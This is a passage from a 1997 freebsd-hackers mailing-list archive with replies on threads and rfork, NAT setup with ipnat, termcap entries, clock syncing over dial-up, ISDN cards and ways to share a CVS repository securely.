new, and worry > about securing pieces of their legitimate address space, the ones who leave > the party do not take the lightbulbs, the food and the keg with them. > > Being that I never drink and rarely ``party'', I may be wrong :-) Threads, not processes. As John says, they must call "thread_create()" to instance themselves; the rfork(0 is an implementation detail which you should not be considering as being responsible for thread creation. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Sep 17 12:26:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA04025 for hackers-outgoing; Wed, 17 Sep 1997 12:26:58 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA04012; Wed, 17 Sep 1997 12:26:37 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id MAA08260; Wed, 17 Sep 1997 12:26:36 -0700 (MST) From: Terry Lambert Message-Id: <199709171926.MAA08260@usr02.primenet.com> Subject: Re: What is wrong with this snipet? To: dyson@FreeBSD.ORG Date: Wed, 17 Sep 1997 19:26:35 +0000 (GMT) Cc: karpen@ocean.campus.luth.se, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199709160858.DAA00240@dyson.iquest.net> from "John S. Dyson" at Sep 16, 97 03:58:33 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > The only problem that I can see, is the possibility of a signal > being issued while the child is temporarily using (and avoiding actual > use of) the parent's stack. That problem is evil, but there are a couple > of workarounds for it (specifically, there is another rfork bit that says > that it is a thread creation.) We can hold signals until the child thread > is ready to accept them. I suspect that the thread creation bit will be > used to hold signal delivery in the child, and the child will have to > explicitly enable delivery. This will generally be transparent > to the user (unless the user will be writing their own thread support code.) call_on_alternate_stack( thread_main, void *thread_main_args, thread_stack); Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Sep 17 12:30:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA04273 for hackers-outgoing; Wed, 17 Sep 1997 12:30:58 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA04265 for ; Wed, 17 Sep 1997 12:30:54 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id MAA08698; Wed, 17 Sep 1997 12:30:45 -0700 (MST) From: Terry Lambert Message-Id: <199709171930.MAA08698@usr02.primenet.com> Subject: Re: FPE problem To: kuku@gilberto.physik.RWTH-Aachen.DE (Christoph Kukulies) Date: Wed, 17 Sep 1997 19:30:44 +0000 (GMT) Cc: freebsd-hackers@freefall.FreeBSD.org In-Reply-To: <199709161220.OAA05839@gil.physik.rwth-aachen.de> from "Christoph Kukulies" at Sep 16, 97 02:20:23 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I'm having a weird problem with a f2c program which is causing an FPE > for a reason I cannot figure out. > > It happens in a complex expression in a fortran expression > in a scientific (high energy physics) calculation program. You seem to be getting a lef-associtivity underflow in the FORTRAN code and not in the C code. The only apparent difference is the order of the divide. But then, I'm rusty. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Sep 17 12:44:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA05070 for hackers-outgoing; Wed, 17 Sep 1997 12:44:09 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA05059 for ; Wed, 17 Sep 1997 12:44:03 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id MAA10044; Wed, 17 Sep 1997 12:41:13 -0700 (MST) From: Terry Lambert Message-Id: <199709171941.MAA10044@usr02.primenet.com> Subject: Re: What does this message mean? To: grog@lemis.com (Greg Lehey) Date: Wed, 17 Sep 1997 19:41:12 +0000 (GMT) Cc: hackers@FreeBSD.ORG In-Reply-To: <19970917111632.60309@lemis.com> from "Greg Lehey" at Sep 17, 97 11:16:32 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Can anybody explain this to me in more detail? Does this mean that > the root name servers are now sending out invalid queries, or are they > just forwarding them from other servers? They are delegating an invalid query to us because we are the responsible party for ho is being queried. They are not checking the validity because (1) it's not their job and (2) better to load the lowest machine in the hierarchy with this processing, because higher up machines are busier. That's my take on it, anyway. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Sep 17 12:44:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA05142 for hackers-outgoing; Wed, 17 Sep 1997 12:44:45 -0700 (PDT) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.45]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA05120 for ; Wed, 17 Sep 1997 12:44:37 -0700 (PDT) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id PAA13025; Wed, 17 Sep 1997 15:44:16 -0400 (EDT) Date: Wed, 17 Sep 1997 15:44:12 -0400 (EDT) From: Brian Mitchell To: Michael Knoll cc: hackers@FreeBSD.ORG Subject: Re: NETINET/header files In-Reply-To: <3.0.32.19970917131454.0097c580@lafcol.lafayette.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 17 Sep 1997, Michael Knoll wrote: > I tried to compile a program which uses #include the > other day and if failed on the headerfiles. It appears as if these header > files are broken in the stable tree. > example code would be of use, but... did you include netinet/in.h and netinet/in_systm.h _before_ netinet/ip_icmp.h? From owner-freebsd-hackers Wed Sep 17 12:56:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA05834 for hackers-outgoing; Wed, 17 Sep 1997 12:56:06 -0700 (PDT) Received: from blackhole.iceworld.org (griffin@blackhole.iceworld.org [204.246.64.101]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA05743 for ; Wed, 17 Sep 1997 12:55:58 -0700 (PDT) Received: from localhost (griffin@localhost) by blackhole.iceworld.org (8.8.7/8.8.5) with SMTP id OAA01403; Wed, 17 Sep 1997 14:55:46 -0500 (CDT) Date: Wed, 17 Sep 1997 14:55:46 -0500 (CDT) From: Jimbo Bahooli To: "Alexander B. Povolotsky" cc: freebsd-hackers@FreeBSD.ORG Subject: Re: lets get ipfilter as default In-Reply-To: <199709170541.JAA06072@asteroid.mgt.msk.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 17 Sep 1997, Alexander B. Povolotsky wrote: > > Seeing ipfilter sitting in /usr/src/contrib, in a mostly > Where? I couldn't find it... (2.2.2-RELENG) > > It is clearly better, and if its not integrated because it doesnt > > work, that is incorrect. When the first version came out with a freebsd > > port, proff patched it all up and it worked great. His patches may still > BTW, can anyone help me with setting up transparent proxy with ipfilter and it's ipnat? > > Alex. Make a file called, /etc/ipnat.rules, in it put. map -> portmap tcp/udp 40000:60000 So, lets say your localnet is 192.168.0.*, and your real IP is 205.250.3.13, and the device with the ip 205.250.3.13 is de0. map de0 192.168.0.0/24 -> 205.250.3.13/32 portmap tcp/udp 40000:60000 From owner-freebsd-hackers Wed Sep 17 12:59:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA06036 for hackers-outgoing; Wed, 17 Sep 1997 12:59:47 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA06030 for ; Wed, 17 Sep 1997 12:59:45 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id MAA12223; Wed, 17 Sep 1997 12:59:37 -0700 (MST) From: Terry Lambert Message-Id: <199709171959.MAA12223@usr02.primenet.com> Subject: Re: Distributed Lock Manager on FreeBSD To: nsmart@iona.com (Niall Smart) Date: Wed, 17 Sep 1997 19:59:35 +0000 (GMT) Cc: Shimon@i-Connect.Net, FreeBSD-Hackers@FreeBSD.ORG In-Reply-To: from "Niall Smart" at Sep 17, 97 09:20:31 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > It must have been a lot of work to implement, and > its usually quite difficult to persuade management to trust their > data to software with "Free" in its name! Well done. So rename it. 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Sep 17 13:01:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA06187 for hackers-outgoing; Wed, 17 Sep 1997 13:01:52 -0700 (PDT) Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA06182 for ; Wed, 17 Sep 1997 13:01:48 -0700 (PDT) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id UAA08323; Wed, 17 Sep 1997 20:46:15 +0200 From: Luigi Rizzo Message-Id: <199709171846.UAA08323@labinfo.iet.unipi.it> Subject: Re: CDROM image To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Wed, 17 Sep 1997 20:46:14 +0200 (MET DST) Cc: md6tommy@mdstud.chalmers.se, freebsd-hackers@FreeBSD.ORG In-Reply-To: <20322.874510892@time.cdrom.com> from "Jordan K. Hubbard" at Sep 17, 97 08:41:13 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > You mean they make it available for FTP? > > Sure, I could do that easily, I've just never knew that anyone would > really _want_ a 640MB file to download. What do other folks think? My humble opinion is that, since building a CD image locally is so difficult, it could be quite nice to have such a thing. Of course there is no hope to download the file unless you have a permanent connection to the net and an ftp client which can restart an interrupted transfer (fetch ?) or the server can split the file in pieces for late reassembly. It would be much nicer if we could use reliable multicast to send the image to multiple clients. How about an sdr session "FreeBSD 2.2.5 vol.1", at 128 Kbit/s is just 11 hours... put in some 20% losses and 80% protocol efficiency, you can still manage to feed all the mirrors in little less than one day! Too bad ftp.freebsd.org is not on the mbone... My rmdp program available from my web page research.html can do reliable multicast for large groups but I never tried it with such large files... Cheers Luigi -----------------------------+-------------------------------------- Luigi Rizzo | Dip. di Ingegneria dell'Informazione email: luigi@iet.unipi.it | Universita' di Pisa tel: +39-50-568533 | via Diotisalvi 2, 56126 PISA (Italy) fax: +39-50-568522 | http://www.iet.unipi.it/~luigi/ _____________________________|______________________________________ From owner-freebsd-hackers Wed Sep 17 13:12:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA07092 for hackers-outgoing; Wed, 17 Sep 1997 13:12:05 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA07076 for ; Wed, 17 Sep 1997 13:12:03 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id NAA13541; Wed, 17 Sep 1997 13:11:31 -0700 (MST) From: Terry Lambert Message-Id: <199709172011.NAA13541@usr02.primenet.com> Subject: Re: cpu load To: tom@sdf.com (Tom) Date: Wed, 17 Sep 1997 20:11:30 +0000 (GMT) Cc: jhay@mikom.csir.co.za, sebesty@cs.elte.hu, hackers@FreeBSD.ORG In-Reply-To: from "Tom" at Sep 17, 97 10:06:24 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > I'm searching for an easy way to get information cpu_load on FreeBSD. On > > > Linux people just reads /proc/stat, but that one won't work on FreeBSD. > > > > sysctl vm.loadavg > > getloadavg() might be better for use within a program. It is portable > to all BSD4.4 systems. If it is not a wrapper function for a sysctl(0 call, it should be. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Sep 17 13:14:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA07194 for hackers-outgoing; Wed, 17 Sep 1997 13:14:19 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA07189 for ; Wed, 17 Sep 1997 13:14:17 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id NAA13644; Wed, 17 Sep 1997 13:13:55 -0700 (MST) From: Terry Lambert Message-Id: <199709172013.NAA13644@usr02.primenet.com> Subject: Re: CDROM image To: md6tommy@mdstud.chalmers.se (Tommy Hallgren) Date: Wed, 17 Sep 1997 20:13:54 +0000 (GMT) Cc: jkh@time.cdrom.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: from "Tommy Hallgren" at Sep 17, 97 07:18:19 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > In Windows95 everything looked fine. But in Linux(which I used back then) > every filename was in lower case. :-( In Windows95, long file names are case sensitive on storage, case insensitive on lookup. I believe lowercasing them was an acessability hack in the CDROM driver on Linux. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Sep 17 13:35:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA08640 for hackers-outgoing; Wed, 17 Sep 1997 13:35:58 -0700 (PDT) Received: from ingenieria ([168.176.15.11]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA08386; Wed, 17 Sep 1997 13:32:38 -0700 (PDT) Received: by ingenieria (SMI-8.6/SMI-SVR4) id QAA12083; Wed, 17 Sep 1997 16:17:09 -0400 Date: Wed, 17 Sep 1997 16:17:09 -0400 (EDT) From: Yonny Cardenas To: hackers@freebsd.org cc: questions@freebsd.org Subject: Serials links with RIP (routed) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by hub.freebsd.org id NAA08618 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk A link ppp is multicasting. RIPv2 support multicating in links point-to-point, but by default Internet Discovery Protocol advertisements nor solicitations are sent over point-to-point links (e.g. PPP). The following messages show Routed: Add interface ppp0 200.20.30.1 --> 9.30.20.200/32 Why 9.30.20.200/32 ?. It´s 200.20.30.9. This link no interchange routing information. Need configuration especial in file /etc/gateways ? How ? Thanks for your help. ------------------------------------------------------------------------- YONNY CARDENAS B. Systems Engineer || || ||| || Universidad Nacional de Colombia || || || | || Email : yonny@ingenieria.ingsala.unal.edu.co ||||||| || ||| From owner-freebsd-hackers Wed Sep 17 13:42:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA09213 for hackers-outgoing; Wed, 17 Sep 1997 13:42:31 -0700 (PDT) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA09208 for ; Wed, 17 Sep 1997 13:42:29 -0700 (PDT) Received: (from batie@localhost) by agora.rdrop.com (8.8.5/8.8.5) id NAA22598; Wed, 17 Sep 1997 13:42:16 -0700 (PDT) Message-ID: <19970917134215.10062@agora.rdrop.com> Date: Wed, 17 Sep 1997 13:42:15 -0700 From: Alan Batie To: hackers@FreeBSD.ORG Subject: Re: login classes References: <199709171931.MAA04286@hub.freebsd.org> Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-md5; boundary="ibTvN161/egqYuK8" X-Mailer: Mutt 0.76 In-Reply-To: <199709171931.MAA04286@hub.freebsd.org>; from owner-hackers-digest@FreeBSD.ORG on Wed, Sep 17, 1997 at 12:31:03PM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk --ibTvN161/egqYuK8 Content-Type: text/plain; charset=us-ascii > From: "John S. Dyson" > Date: Wed, 17 Sep 1997 04:18:24 -0500 (EST) > Subject: Re: login classes > > I think that we should apply the philosophy of 'least surprise' to the > default config. Every system has a slightly different login-class > mechanism (if any.) I think that wide-open (or nearly so) would be > the 'least surprise.' Intelligent sysops, system administrators or > vertical product suppliers will each have different needs for default > limits. I think that the defaults should be 'intelligently high.' While I'm not sure I disagree with this, I think it's beside the point. When I first started running X/FreeBSD on my main desktop at work, I quickly ran into the login class limits and increased them. I have no problem with that. The problem is with all the bazillion daemons that don't know how to handle resetting resource limits when they change user id's --- and I'm not sure they should. Aside from the fact that one should always think long and hard before breaking backward compatibility and requiring lots of things to be ported to work properly, there's also the argument that one should minimize the amount of hacking one has to do on security related issues. Seeing the code in some of these daemons, I'd rather not complicate any further what they have to do to switch uid's or anything else relating to security. -- Alan Batie ______ It's not my fault! It's some guy batie@agora.rdrop.com \ / named "General Protection"! +1 503 452-0960 \ / --Ratbert PGP FP: DE 3C 29 17 C0 49 \/ 7A 27 40 A5 3C 37 4A DA 52 B9 It is my policy to avoid purchase of any products from companies which use unrequested email advertisements or telephone solicitation. --ibTvN161/egqYuK8 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNCBApIv4wNua7QglAQFDvAP9HvGkfAK0nrtiJvreFv0Tp9dTwN+opT2P 0YvxEEZ8fqM3SMwUXdMRMV2vKRfKN2mci8JDTMxGhDurdQ9+6v6/9Zk9cwNYN3C2 LdOGuPB/CBQ0nr8HkTxeWXostb38XyfQ50xExlTZhRKp/pHDHcjvggLnxJLLpDOT JWqWjXyjOOg= =w4Zh -----END PGP SIGNATURE----- --ibTvN161/egqYuK8-- From owner-freebsd-hackers Wed Sep 17 13:50:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA09888 for hackers-outgoing; Wed, 17 Sep 1997 13:50:27 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA09872 for ; Wed, 17 Sep 1997 13:50:19 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA28009 for freebsd-hackers@FreeBSD.ORG; Wed, 17 Sep 1997 22:50:17 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id WAA02351; Wed, 17 Sep 1997 22:40:15 +0200 (MET DST) Message-ID: <19970917224015.ZM63955@uriah.heep.sax.de> Date: Wed, 17 Sep 1997 22:40:15 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG (FreeBSD hackers) Subject: Re: Any TCP expert around? References: <19970916181510.OK51303@ida.interface-business.de> <97Sep17.082214pdt.177486@crevenia.parc.xerox.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <97Sep17.082214pdt.177486@crevenia.parc.xerox.com>; from Bill Fenner on Sep 17, 1997 08:22:05 -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Bill Fenner wrote: > The solution is just a couple of lines to double-check that CCECHO is > present on the SYN/ACK. I'll be committing the fix in a little bit (I > want to add more tcpstat counters too, since there are no counters for > these drops so it's much harder to figure out what's going on). Public thanks again for Bill's quick service. Bug fix time less than 8 hours -- i wonder which commercial OS beats this. :-) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed Sep 17 13:59:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA10722 for hackers-outgoing; Wed, 17 Sep 1997 13:59:52 -0700 (PDT) Received: from nagual.pp.ru (ache@ache.relcom.ru [194.58.229.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA10711 for ; Wed, 17 Sep 1997 13:59:44 -0700 (PDT) Received: (from ache@localhost) by nagual.pp.ru (8.8.7/8.8.7) id AAA00570; Thu, 18 Sep 1997 00:59:36 +0400 (MSD) Date: Thu, 18 Sep 1997 00:59:33 +0400 (MSD) From: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= To: Yanestra cc: hackers@FreeBSD.ORG Subject: Re: Submission In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 17 Sep 1997, Yanestra wrote: > Dear people, > > following the diffs for /usr/share/termcap to include a "kH" entry. > > --cut-here-- > 2375c2375 > < :kN=\E[G:kP=\E[I:@7=\E[F:kI=\E[L:kD=\177:kB=\E[Z:\ > --- > > :kN=\E[G:kP=\E[I:@7=\E[F:kI=\E[L:kD=\177:kB=\E[Z:kH=\E[F:\ > --cut-here-- > > Does anybody know what the @7 entry is good for? Why add wrong key if correct one (@7) already exists? -- Andrey A. Chernov http://www.nagual.pp.ru/~ache/ From owner-freebsd-hackers Wed Sep 17 14:17:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA11866 for hackers-outgoing; Wed, 17 Sep 1997 14:17:57 -0700 (PDT) Received: from news.IAEhv.nl (root@news.IAEhv.nl [194.151.64.4]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id OAA11854 for ; Wed, 17 Sep 1997 14:17:48 -0700 (PDT) Received: from LOCAL (uucp@localhost) by news.IAEhv.nl (8.6.13/1.63) with IAEhv.nl; pid 17641 on Wed, 17 Sep 1997 21:17:41 GMT; id VAA17641 efrom: peter@grendel.IAEhv.nl; eto: UNKNOWN Received: (from peter@localhost) by grendel.IAEhv.nl (8.8.5/8.8.5) id BAA01089; Wed, 17 Sep 1997 01:28:55 +0200 (CEST) Message-ID: <19970917012854.13329@grendel.IAEhv.nl> Date: Wed, 17 Sep 1997 01:28:54 +0200 From: Peter Korsten To: Wm Brian McCane Cc: hackers@FreeBSD.ORG Subject: Re: ISDN Modems References: <199709162132.QAA12072@bmccane.uit.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.67e In-Reply-To: <199709162132.QAA12072@bmccane.uit.net>; from Wm Brian McCane on Tue, Sep 16, 1997 at 04:32:19PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Wm Brian McCane shared with us: > > I was wondering which/if any internal ISDN modems work with FreeBSD. > I am needing to connect 2 machines to the internet and would prefer built > modems, but I could use externals if someone can tell me which serial cards > are available that can do 230400 bps or better. I also intend to use `bisdn' > for this system unless there are any serious objections or concerns from the > community 8). Hmm, these are two subjects that have been discusses recently. I'll tell a bit about the subject I'm familiar with. The Teles.S0/16.3 internal ISDN card and look-a-likes are supported by BISDN. Though BISDN is quite a bitch to install, when you do get it to work, it works flawlessly. Just don't look at the sources. However, this is only good for Europe. I don't know the exact reasons, but I think that external ISDN adapters are more popular on the other side of the Big Pond, at least with those capable of developing driver code. So I guess the question for you is: which serial card and which ISDN adapter (please don't call them modems, that's the whole idea of ISDN: you no longer need to modulate/demod- ulate the data) am I going to use? - Peter From owner-freebsd-hackers Wed Sep 17 16:26:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA18154 for hackers-outgoing; Wed, 17 Sep 1997 16:26:48 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA18147 for ; Wed, 17 Sep 1997 16:26:44 -0700 (PDT) Received: from gurney.reilly.home (d29.syd2.zeta.org.au [203.26.11.29]) by godzilla.zeta.org.au (8.8.5/8.6.9) with ESMTP id JAA05457; Thu, 18 Sep 1997 09:24:04 +1000 Received: (from andrew@localhost) by gurney.reilly.home (8.8.7/8.8.5) id JAA02142; Thu, 18 Sep 1997 09:22:01 +1000 (EST) From: Andrew Reilly Message-Id: <199709172322.JAA02142@gurney.reilly.home> Date: Thu, 18 Sep 1997 09:22:01 +1000 (EST) Subject: Re: Kernel clock runs inaccurately To: perhaps@yes.no cc: joerg_wunsch@uriah.heep.sax.de, hackers@freebsd.org In-Reply-To: <199709170431.GAA29657@bitbox.follo.net> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On 17 Sep, Eivind Eklund wrote: >> >> As Eivind Eklund wrote: >> >> > > (They are probably living in somewhat of an ivory tower with >> > > good NTP refclocks readily available on a cheap Internet, something >> > > that is not my situation, sitting behind dialup lines everywhere.) >> > >> > Shouldn't it be still be possible to set up xntpd with >> > drift-correction and synchronization often, and just suppress >> > xntpd-messages from starting the ppp-link? >> >> Too expensive still. The dialup itself is ISDN, so the setup time is >> ~ 2 seconds or less, but having an xntpd calling each 5 or 15 minutes >> would greatly increase our phone and Internet costs. Sorry for leaping into the conversation late, but what's wrong with running "ntpdate -bs servers..." from a shell script run from the ppp.linkup? It works for me. ntpdate never has to change the clock by more than half a second or so. Clock stays accurate but I don't get random dial-ups. Of course the link is going to come up at least twice a day for my mail and news, thanks to a ping -c1 in a crontab. -- Andrew "The steady state of disks is full." -- Ken Thompson From owner-freebsd-hackers Wed Sep 17 16:54:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA19627 for hackers-outgoing; Wed, 17 Sep 1997 16:54:43 -0700 (PDT) Received: from itojun.csl.sony.co.jp (root@itojun.csl.sony.co.jp [133.138.1.134]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA19612 for ; Wed, 17 Sep 1997 16:54:31 -0700 (PDT) From: itojun@itojun.org Received: from localhost (itojun@localhost [127.0.0.1]) by itojun.csl.sony.co.jp (8.8.5/3.3W3) with ESMTP id IAA26900 for ; Thu, 18 Sep 1997 08:49:54 +0900 (JST) To: hackers@freebsd.org Subject: Re: cvs pserver mode (summary) X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 References: <34200977.446B9B3D@whistle.com> In-reply-to: Julian Elischer 's message of Wed, 17 Sep 1997 09:46:47 -0700. <34200977.446B9B3D@whistle.com> X-Mailer: comp (MHng project) version 1997/08/04 03:38:46, by Jun-ichiro Itoh MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-ID: Date: Thu, 18 Sep 1997 08:49:54 +0900 Message-ID: <26897.874540194@itojun.csl.sony.co.jp> Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Many thanks to people sent me the comments about this: >> Thanks very much for the comment (and to Julian), I'll keep myself >> away from pserver. >> My goal is to have a way to publish half-public source code to >> 20 or so people, without giving them an account on my machine. >> (they won't make changes to my repository) >> Options seems to be as follows, but I don't know which is good/bad. >> - cvs pserver (should stay away from this) >> - anonymous cvs + some modification >> (how to set it up? OpenBSD people uses this to keep them in sync) >> - cvsupd + some modification >> (current version has no authentication, it seems) >> - give an account (say, "mygroup") to them and use rsh/ssh >> Please let me know your opinion. Thanks! Summary of the answers is as follows: 1. cvs pserver mode is not good since: - it stores cleartext password in ~/.cvspass - cleartext password will be transmitted over the net 2. cvs pserver mode needs "--allow-root=/cvsroot", which is new option introduced in 1.19.10. 3. make account for people with no login shell, let them use ssh to invoke remote cvs. 4. use cvsup server. 5. anoncvs server in chroot'ed environment. need some modification on cvs, and need to write a wrapper. 6. how about rsync? Finally, I set up cvsup server with IP address check. The security I wanted was to restrict the people who can fetch my repository to small members (20 or so), and the member is known already. (I did not want them to have account on my machine) cvsup server with IP address check (cvsupd.access) seems to be the easiest and sound solution for me. I don't know why but I wasn't able to run pserver successfully. Anyway suggestion was pserver has pitfalls, so I did not used this. Again, I would like to say thank you for wonderful answers. itojun From owner-freebsd-hackers Wed Sep 17 17:15:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA21032 for hackers-outgoing; Wed, 17 Sep 1997 17:15:07 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA21025 for ; Wed, 17 Sep 1997 17:15:01 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id 